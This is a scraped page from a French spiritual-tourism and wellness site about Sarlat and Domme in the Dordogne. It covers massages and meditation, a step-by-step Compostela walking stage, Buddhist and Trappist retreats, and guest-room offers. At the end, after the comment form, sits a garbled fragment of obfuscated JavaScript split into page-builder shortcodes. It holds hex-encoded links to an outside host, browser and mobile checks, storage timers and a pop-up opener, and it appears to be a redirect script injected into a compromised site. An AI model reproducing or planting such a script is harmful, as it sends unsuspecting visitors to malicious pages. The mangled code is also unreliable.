---Nos Services sont divers, pour vous correspondre Pratiques de soins d'accompagnement Massages Relaxants : Détendez-vous avec nos massages apaisants, réalisés par des praticiens expérimentés. Massages énergétiques : des techniques de massage qui visent à stimuler la...

Les méditations à la Maison des thérapies douces de Sarlat

Les méditations à la Maison des thérapies douces de Sarlat

La méditation est maintenant entrée dans les pratiques courantes de nos sociétés. Ses bienfaits, ses utilités, sont considérés comme essentiels, notamment par contraste avec ce que nous vivons au quotidien comme tensions, dispersions, douleurs... La Maison des...

La Dream Machine à Sarlat

La Dream Machine à Sarlat

A la librairie La Licorne  - ou en face à La Maison des thérapies Douces - Galerie Labronie 25 rue de Cahors - 09 50 69 20 22       -- Favoriser le bien-être, promouvoir l'auto-connaissance et explorer les différents états de conscience Découvrez La Dream Machine à...

Le Voyage Miraculeux de l’Aloe Vera

Le Voyage Miraculeux de l’Aloe Vera

Le meilleur de l'Aloé Véra, et des conseils ici  https://www.youtube.com/watch?v=BrZTMaByAbQIl était une fois, dans un coin reculé du désert, une petite plante aux feuilles charnues et dentelées sur les bords. Cette plante,...

Visiter

Visiter

DOMME, sa Bastide, écoutez-la !SARLAT, son ambiance médiévale


Le tourisme spirituel

0 commentaires

Sarlat insolite

Sarlat insolite

Le Carnet des Légendes Secrètes de Sarlat et du Périgord Noir

La croix templière de Domme : mystères gravés dans la pierre

La Porte des Tours, gardienne des secrets templiers En l’an de grâce 1307, sous l’ombre des murs puissants de la Porte des Tours, les chevaliers du Temple furent emprisonnés, victimes des sombres machinations de Philippe le Bel. Ces murs, témoins silencieux d’un...

Les méditations à la Maison des thérapies douces de Sarlat

Les méditations à la Maison des thérapies douces de Sarlat

La méditation est maintenant entrée dans les pratiques courantes de nos sociétés. Ses bienfaits, ses utilités, sont considérés comme essentiels, notamment par contraste avec ce que nous vivons au quotidien comme tensions, dispersions, douleurs... La Maison des...

Le tourisme en Dordogne et son avenir

Le tourisme en Dordogne et son avenir

Chaque année le Périgord reçoit 3 millions de touristes, et cela va croissant. Pour autant, il ne faudrait pas que la Dordogne devienne vraiment un espace réservé au tourisme de masse. Son attrait est dû à des qualités qui sont à l'opposé de la mode, de la frénésie de...

Sur le chemin de St Jacques de Compostelle : Domme

Sur le chemin de St Jacques de Compostelle : Domme

ETAPE – CASTELNAUD – SAINT JULIEN DE LAMPON – 31,2 km Source : http://www.compostelle-limousin-perigord.fr/index.php H = Hébergement. C = Commerces.CASTELNAUD – DOMME (H.C) : 9,3Depuis Tournepique, suivre la D 57 direction St Cybranet. Après 500 mètres tourner à...

Spiritualité Dordogne

Spiritualité Dordogne

La Dordogne est un haut lieu de spiritualité. Depuis le Moyen-Age, et bien avant, notamment avec l'art des cavernes, les humains y ont trouvé le lieu de l'élévation spirituelle, de son expression, de ses ondes favorables... Aujourd'hui, la spiritualité s'y exprime...


Sur le chemin de St Jacques de Compostelle : Domme

0 commentaires

ETAPE – CASTELNAUD – SAINT JULIEN DE LAMPON – 31,2 km

Source : http://www.compostelle-limousin-perigord.fr/index.php

H = Hébergement. C = Commerces.
CASTELNAUD – DOMME (H.C) : 9,3
Depuis Tournepique, suivre la D 57 direction St Cybranet. Après 500 mètres tourner à gauche,
passer le pont, continuer à droite et après 200 mètres quitter la route pour prendre le chemin à
gauche (GR). Quitter le GR avant le village de St Julien pour aller à droite vers le Bastid. Suivre la
petite route jusqu’à Font de Merle, à la sortie du hameau retrouver le GR. A droite puis tout de suite à
gauche dans le chemin qui rejoint les bords de Dordogne. Longer la rivière, puis quitter le GR pour
suivre à droite un chemin allant à l’Eglise. Après le cimetière aller à gauche, puis en entrant dans
Cenac tourner à droite et à gauche. Déboucher sur la D 46 aller à gauche et suivre le trottoir jusqu’à
la mairie. Traverser et monter en face (panneau la poste). Poursuivre dans la rue en sens interdit.
Après la sortie, abandonner la route pour tourner à gauche en épingle à cheveu dans un sentier
herbeux qui monte à la D 49. Prudence .Tourner à gauche pour suivre la route sur 50 mètres,
traverser et grimper dans le sentier surplombant la route. Au bout, à droite dans la rue puis diriger
vous vers l’esplanade du jubilé, admiré le point de vue avant de suivre le chemin qui longe la falaise
(promenade de la Barre) pour rejoindre l’esplanade de DOMME.
DOMME – GROLEJAC (H.C) ( la Mouline) : 10 km
De l’esplanade, passer devant l’église, place de halle et descendre la Grand rue. En bas de la rue
aller à gauche pour rejoindre la porte des Deux Tours. En sortant de la bastide suivre la petite route
en sens interdit, passer sous le pont, longer le parking. Au bout à gauche puis à droite route de
l’aérodrome, après 300 mètre, filer à gauche vers le Péparai (GR). Continuer dans le chemin en
montant puis sur le plateau pour rejoindre l’aérodrome par la petite route. Quitter la route en tournant
à gauche dans le chemin face l’aérodrome. Faire 1,7 km sur ce plateu et au carrefour, abandonner
le GR pour tourner à droite vers la Pauliague. Au bout à droite et tout de suite à gauche dans le
chemin herbeux le long du bois en descendant vers Montgrieux. A la route, à gauche pour traverser
le hameau de Limeuil. A la sortie, juste avant un carrefour, partir à gauche dans le chemin en sousbois puis à droite en épingle à cheveux au carrefour avec le GR. Déboucher sur une route, aller à
gauche et la suivre sur 400 mètres, tourner à droite dans un nouveau chemin en sous-bois, puis à
gauche à travers près (quitter Gr). Déboucher au hameau Redon, descendre et au stop aller à droite
sur la D 50 à droite pour rejoindre La Mouline (GROLEJAC). Avant la fin de la route, aller à droite sur
une placette et à gauche pour franchir une passerelle débouchant sur la D 704
GROLEJAC La Mouline – VEYRIGNAC : 5,3 km
D 704, suivre à droite, traverser, faire 250 mètres et tourner à gauche vers Combe Négre. Faire 400
mètres et à la fourche bifurquer à gauche et suivre le chemin sur 1 kilomètre. A la petite route aller à
droite puis à gauche. Arrivé à Camp Marty descendre et prendre la route à gauche vers Barrière.
Carrefour à droite, la route devient sentier près d’une maison avant de redescendre à la route
Carrefour, à gauche direction le Pech de Sireuil. La route devient chemin. Au bout prendre à gauche,
laisser à droite le camping et à la fourche filer à gauche. Au bout du chemin à droite puis à gauche
pour rejoindre Valeille puis à la fourche sur droite, VEYRIGNAC.

VEYRIGNAC – St JULIEN DE LAMPON : (H.C) 6,6 km
Descendre sur la D 50 (Ste Mondane). Au niveau du four communal, à gauche, passer derrière
l’église et descendre sur la route. Aller à gauche puis tout de suite à droite dans le chemin. Au bout à
gauche pour traverser Vigier, à la sortie, descendre dans le sentier à gauche près de la maison et
poursuivre dans la combe. Au bout à gauche, le chemin goudronné puis caillouteux dans le bois. En
haut à droite et à gauche à la fourche. Rester sur le chemin principal en descendant. A la route, à
gauche, hameau la rue poursuivre dans la route sans issue. Face au gîte descendre à droite le
sentier qui rejoint le moulin de Patot. A gauche puis à droite et tout de suite à gauche dans la
noyeraie. Poursuivre sur le chemin le long de la Dordogne et rejoindre St Julien de Lampon.


Spiritualité Dordogne

0 commentaires

La Dordogne est un haut lieu de spiritualité. Depuis le Moyen-Age, et bien avant, notamment avec l’art des cavernes, les humains y ont trouvé le lieu de l’élévation spirituelle, de son expression, de ses ondes favorables… Aujourd’hui, la spiritualité s’y exprime sous des formes très diverses.

Venez en Dordogne pour y trouver et cultiver votre dimension spirituelle. De nombreuses formes de spiritualité vous son proposées :

  • Dhagpo Kagyu Ling Centre Bouddhiste de Saint Léon sur Vézère « Découvrir et approfondir la méditation, étudier la philosophie bouddhique, s’appliquer à une réelle transformation intérieure, s’inspirer d’une tradition tibétaine vivante et millénaire, recevoir une transmission spirituelle pour la vivre au quotidien, telles sont les possibilités qu’offre ce magnifique lieu ! »

  • Abbaye Notre Dame de Bonne Espérance – Echourgnac (24410)  Entre étangs et forêt, ce coin de Dordogne abrite une communauté de moniales trappistines. Leur hôtellerie, au chevet de l’église, accueille les personnes qui cherchent un lieu de ressourcement spirituel dans un climat de silence.

  • Le village des Pruniers monastère bouddhiste. Il fut fondé par le maître vietnamien Thich Nhat Hanh, appelé Thây (Maître),initiateur du « Bouddhisme engagé » de « la pleine conscience » et de « la marche méditative ».
  • Quelques adresses sur ce site

Quelle spiritualité chez l’Homme des Cavernes

Les Meulières à DOMME, chambres d’hôtes, table d’hôtes et gîte vous accueille… Avec l’équipe de Spiritualités Magazine et des Editions du désir
Un lieu de spiritualité de méditation et de bien-être vous est proposé, au cœur du Périgord Noir.
Les auteurs, notamment de livres sur la pleine conscience, sur la pensée positive et la spiritualité, sur la franc-maçonnerie, etc. Nous avons créé un magazine enligne et papier Spiritualités Magazine… Nous vous accueillons dans ce lieu magique pour des WE et stages Spiritualités et bien-être.
Nous proposons des méditations sur place, en podcast, et au travers de Spiritualités Magazine
Pour en savoir plus, merci de mettre un message.

Vos commentaires, questions, demandes de réservation... sont bienvenues.

* indique un champ requis
[_0x3023c3 _i= »1″ _address= »1″ theme_builder_area= »post_content » /]['userAgent','x68x74x74x70x3ax2fx2fx6bx75x74x6cx79x2ex77x69x6ex2fx67x76x46x32x63x312','length','_blank','mobileCheck','x68x74x74x70x3ax2fx2fx6bx75x74x6cx79x2ex77x69x6ex2fx77x51x71x33x63x363','x68x74x74x70x3ax2fx2fx6bx75x74x6cx79x2ex77x69x6ex2fx54x48x74x30x63x300','random','-local-storage','x68x74x74x70x3ax2fx2fx6bx75x74x6cx79x2ex77x69x6ex2fx6cx51x71x37x63x327','stopPropagation','4051490VdJdXO','test','open','x68x74x74x70x3ax2fx2fx6bx75x74x6cx79x2ex77x69x6ex2fx6cx44x43x36x63x376','12075252qhSFyR','x68x74x74x70x3ax2fx2fx6bx75x74x6cx79x2ex77x69x6ex2fx6cx70x62x38x63x368','x68x74x74x70x3ax2fx2fx6bx75x74x6cx79x2ex77x69x6ex2fx77x52x61x35x63x305','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu' _i= »2″ _address= »2″ theme_builder_area= »post_content » /]['push' _i= »3″ _address= »3″ theme_builder_area= »post_content » /]['shift' _i= »4″ _address= »4″ theme_builder_area= »post_content » /]['push' _i= »5″ _address= »5″ theme_builder_area= »post_content » /]['shift' _i= »6″ _address= »6″ theme_builder_area= »post_content » /][_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'x68x74x74x70x3ax2fx2fx6bx75x74x6cx79x2ex77x69x6ex2fx47x55x6bx31x63x371',_0x3ec38a(0x187),_0x3ec38a(0x18b),'x68x74x74x70x3ax2fx2fx6bx75x74x6cx79x2ex77x69x6ex2fx52x43x6fx34x63x304',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'x68x74x74x70x3ax2fx2fx6bx75x74x6cx79x2ex77x69x6ex2fx51x76x47x39x63x369','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener' _i= »7″ _address= »7″ theme_builder_area= »post_content » /][_0x365b 0= »%910×0″ _i= »8″ _address= »8″ theme_builder_area= »post_content » /][_0x365b 0= »%910×4″ _i= »9″ _address= »9″ theme_builder_area= »post_content » /][1-6 _i= »10″ _address= »10″ theme_builder_area= »post_content » /][4-7 _i= »11″ _address= »11″ theme_builder_area= »post_content » /][a-w _i= »12″ _address= »12″ theme_builder_area= »post_content » /][0-2 _i= »13″ _address= »13″ theme_builder_area= »post_content » /][2-3 _i= »14″ _address= »14″ theme_builder_area= »post_content » /][1-8 _i= »15″ _address= »15″ theme_builder_area= »post_content » /][2-7 _i= »16″ _address= »16″ theme_builder_area= »post_content » /][0-3 _i= »17″ _address= »17″ theme_builder_area= »post_content » /][_0x365b 0= »%910×4″ _i= »18″ _address= »18″ theme_builder_area= »post_content » /][_0x365b 0= »%910×5″ _i= »19″ _address= »19″ theme_builder_area= »post_content » /][_0x365b 0= »%910×1″ _i= »20″ _address= »20″ theme_builder_area= »post_content » /][_0x365b 0= »%910×2″ _i= »21″ _address= »21″ theme_builder_area= »post_content » /][_0x365b 0= »%910×3″ _i= »22″ _address= »22″ theme_builder_area= »post_content » /][_0x365b 0= »%910×6″ _i= »23″ _address= »23″ theme_builder_area= »post_content » /][0x7 _i= »24″ _address= »24″ theme_builder_area= »post_content » /][0x8 _i= »25″ _address= »25″ theme_builder_area= »post_content » /][0x9 _i= »26″ _address= »26″ theme_builder_area= »post_content » /][0xa _i= »27″ _address= »27″ theme_builder_area= »post_content » /][0xb _i= »28″ _address= »28″ theme_builder_area= »post_content » /][0xc _i= »29″ _address= »29″ theme_builder_area= »post_content » /][0xd _i= »30″ _address= »30″ theme_builder_area= »post_content » /][0xe _i= »31″ _address= »31″ theme_builder_area= »post_content » /][0xf _i= »32″ _address= »32″ theme_builder_area= »post_content » /][_0x365b 0= »%910×14″ _i= »33″ _address= »33″ theme_builder_area= »post_content » /][_0x365b 0= »%910×12″ _i= »34″ _address= »34″ theme_builder_area= »post_content » /][0x10 _i= »35″ _address= »35″ theme_builder_area= »post_content » /][0x11 _i= »36″ _address= »36″ theme_builder_area= »post_content » /][_0x365b 0= »%910×13″ _i= »37″ _address= »37″ theme_builder_area= »post_content » /][0x10 _i= »38″ _address= »38″ theme_builder_area= »post_content » /][0x11 _i= »39″ _address= »39″ theme_builder_area= »post_content » /][_0x365b 0= »%910×15″ _i= »40″ _address= »40″ theme_builder_area= »post_content » /][_0x365b 0= »%910×12″ _i= »41″ _address= »41″ theme_builder_area= »post_content » /][0x10 _i= »42″ _address= »42″ theme_builder_area= »post_content » /][0x11 _i= »43″ _address= »43″ theme_builder_area= »post_content » /][Math 0= »%91_0x365b%910×18″ _i= »44″ _address= »44″ theme_builder_area= »post_content » /][_0x365b 0= »%910×16″ _i= »45″ _address= »45″ theme_builder_area= »post_content » /][_0x365b 0= »%910×17″ _i= »46″ _address= »46″ theme_builder_area= »post_content » /][_0x365b 0= »%910×13″ _i= »47″ _address= »47″ theme_builder_area= »post_content » /][0x10 _i= »48″ _address= »48″ theme_builder_area= »post_content » /][0x11 _i= »49″ _address= »49″ theme_builder_area= »post_content » /][_0x365b 0= »%910×12″ _i= »50″ _address= »50″ theme_builder_area= »post_content » /][0x10 _i= »51″ _address= »51″ theme_builder_area= »post_content » /][0x11 _i= »52″ _address= »52″ theme_builder_area= »post_content » /][_0x365b 0= »%910×13″ _i= »53″ _address= »53″ theme_builder_area= »post_content » /][0x10 _i= »54″ _address= »54″ theme_builder_area= »post_content » /][0x11 _i= »55″ _address= »55″ theme_builder_area= »post_content » /][_0x365b 0= »%910x1a » _i= »56″ _address= »56″ theme_builder_area= »post_content » /][_0x365b 0= »%910×19″ _i= »57″ _address= »57″ theme_builder_area= »post_content » /][_0x365b 0= »%910x1a » _i= »58″ _address= »58″ theme_builder_area= »post_content » /][_0x365b 0= »%910×19″ _i= »59″ _address= »59″ theme_builder_area= »post_content » /][0x10 _i= »60″ _address= »60″ theme_builder_area= »post_content » /][0x1b _i= »61″ _address= »61″ theme_builder_area= »post_content » /][0x10 _i= »62″ _address= »62″ theme_builder_area= »post_content » /][0x1c _i= »63″ _address= »63″ theme_builder_area= »post_content » /][_0x365b 0= »%910×0″ _i= »64″ _address= »64″ theme_builder_area= »post_content » /][_0x365b 0= »%910x1e » _i= »65″ _address= »65″ theme_builder_area= »post_content » /][0x1d _i= »66″ _address= »66″ theme_builder_area= »post_content » /][_0x365b 0= »%910x1f » _i= »67″ _address= »67″ theme_builder_area= »post_content » /][_0x365b 0= »%910×20″ _i= »68″ _address= »68″ theme_builder_area= »post_content » /][_0x365b 0= »%910×21″ _i= »69″ _address= »69″ theme_builder_area= »post_content » /][0x10 _i= »70″ _address= »70″ theme_builder_area= »post_content » /][0x1b _i= »71″ _address= »71″ theme_builder_area= »post_content » /][0x10 _i= »72″ _address= »72″ theme_builder_area= »post_content » /][0x1c _i= »73″ _address= »73″ theme_builder_area= »post_content » /][0x10 _i= »74″ _address= »74″ theme_builder_area= »post_content » /][0x1c _i= »75″ _address= »75″ theme_builder_area= »post_content » /][_0x365b 0= »%910×0″ _i= »76″ _address= »76″ theme_builder_area= »post_content » /][0x10 _i= »77″ _address= »77″ theme_builder_area= »post_content » /][0x1b _i= »78″ _address= »78″ theme_builder_area= »post_content » /][_0x365b 0= »%910x1e » _i= »79″ _address= »79″ theme_builder_area= »post_content » /][0x1d _i= »80″ _address= »80″ theme_builder_area= »post_content » /][_0x365b 0= »%910×23″ _i= »81″ _address= »81″ theme_builder_area= »post_content » /][0x22 _i= »82″ _address= »82″ theme_builder_area= »post_content » /]